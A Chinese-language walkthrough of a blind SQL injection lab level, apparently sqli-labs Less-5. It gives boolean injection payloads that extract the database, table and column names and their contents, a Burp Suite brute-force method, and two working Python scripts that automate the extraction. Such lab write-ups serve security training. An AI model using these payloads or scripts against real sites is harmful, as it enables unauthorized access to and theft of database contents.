p第五关
输入?id=1,只有下面这种结果
试试让它报错?id=1',根据报错信息可知是单引号字符型
输入
?id=1' --+
但是这一关没有回显信息,输入正确就会出现以下信息,错误则会报错,说明存在布尔盲注,我们可以利用这个来进行判断
我们输入
?id=1' and length((select database())) =1 --+
length()函数是返回字符串的长度,先暂且猜测数据库名长度是1
发现异常
然后用burp suite抓包进行爆破
发送给intruder,设置攻击位置
设置类型为数值,从1到20,步长为1
开始攻击,8的返回长度不一样,所以猜测数据库名的长度就是8
然后我们验证,显示正常,说明数据库名长度就是8
输入
?id=1' and substr((select database()),1,1)='a'--+
函数 substr(a,b,c),a是截取的字符串 ,b是截取的位置 ,c是截取的长度
然后用burp suite爆破
添加26个字母的大小写字典
所以库名的一个字母是S或s
然后就是逐个爆破后面字母,直到把8个字母的库名爆出来
接下来就是把所有表名都爆出来
这是数据库里所有表名字符串的长度和,包括字母和符号,group_concat()函数把所有表名连接起来,用逗号(,)分隔
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1 --+
用burp suite爆破 从1到100
爆破出所有表名长度和为29
然后逐一判断29个字符分别是什么,我们也可以两个两个地爆破,然后把线程改大一点,这样爆破就快一点,如果太多的话爆破时间太久
?id=1'and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,2)='ab'--+
设置两个攻击位置,攻击方式选择集束炸弹
两个载荷分别选择26个字母的大小写和逗号,
所以前两个字符是em
安照以上的方法,分别
逐一判断字段长度
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database()))=1--+
逐一判断字段名
?id=1'and substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),1,2)='ab'--+
逐一判断内容长度
?id=1'and length((select group_concat(字段名) from 表名))=1--+
逐一判断内容
?id=1'and substr((select group_concat(字段名) from 表名),1,1)='a'--+
可见手工盲注的复杂程度非常大,耗时耗力
我们可以使用脚本来代替进行盲注
get请求型盲注脚本
import requests
# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://sqli.com/less-5/"
# 猜解长度使用的payload
payload_len = """?id=1' and length(
(select group_concat(table_name)
from information_schema.tables where table_schema=database())
) = {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(
substr(
(select group_concat(table_name)
from information_schema.tables where table_schema=database())
,{n},1)
) = {r} -- a"""
# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 页面中出现此内容则表示成功
if 'You are in...........' in response.text:
print('测试长度完成,长度为:', length,)
return length;
else:
print('正在测试长度:',length)
length += 1 # 测试长度递增
# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
# 第一层循环,截取每一个字符
for l in range(1, length+1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(n= l, r= n))
# 页面中出现此内容则表示成功
if 'You are in...........' in response.text:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;
# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
post请求型盲注脚本
import requests
# 网站路径
url = "http://sqli.com/less-5/"
# 判断长度的payload
payload_len = """a') or length(
(select group_concat(table_name)
from information_schema.tables where table_schema=database())
)>{n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(
substr(
(select group_concat(table_name)
from information_schema.tables where table_schema=database())
,{l},1)
)={n} -- a"""
# post请求参数
data= {
"uname" : "a') or 1 -- a",
"passwd" : "1",
"submit" : "Submit"
}
# 判断长度
def getLen(payload_len):
length = 1
while True:
# 修改请求参数
data["uname"] = payload_len.format(n = length)
response = requests.post(url=url, data=data)
# 出现此内容为登录成功
if '../images/flag.jpg' in response.text:
print('正在测试长度:', length)
length += 1
else:
print('测试成功,长度为:', length)
return length;
# 枚举字符
def getStr(length):
str = ''
# 从第一个字符开始截取
for l in range(1, length+1):
# 枚举字符的每一种可能性
for n in range(32, 126):
data["uname"] = payload_str.format(l=l, n=n)
response = requests.post(url=url, data=data)
if '../images/flag.jpg' in response.text:
str += chr(n)
print('第', l, '个字符枚举成功:',str )
break
length = getLen(payload_len)
getStr(length)
本关是get型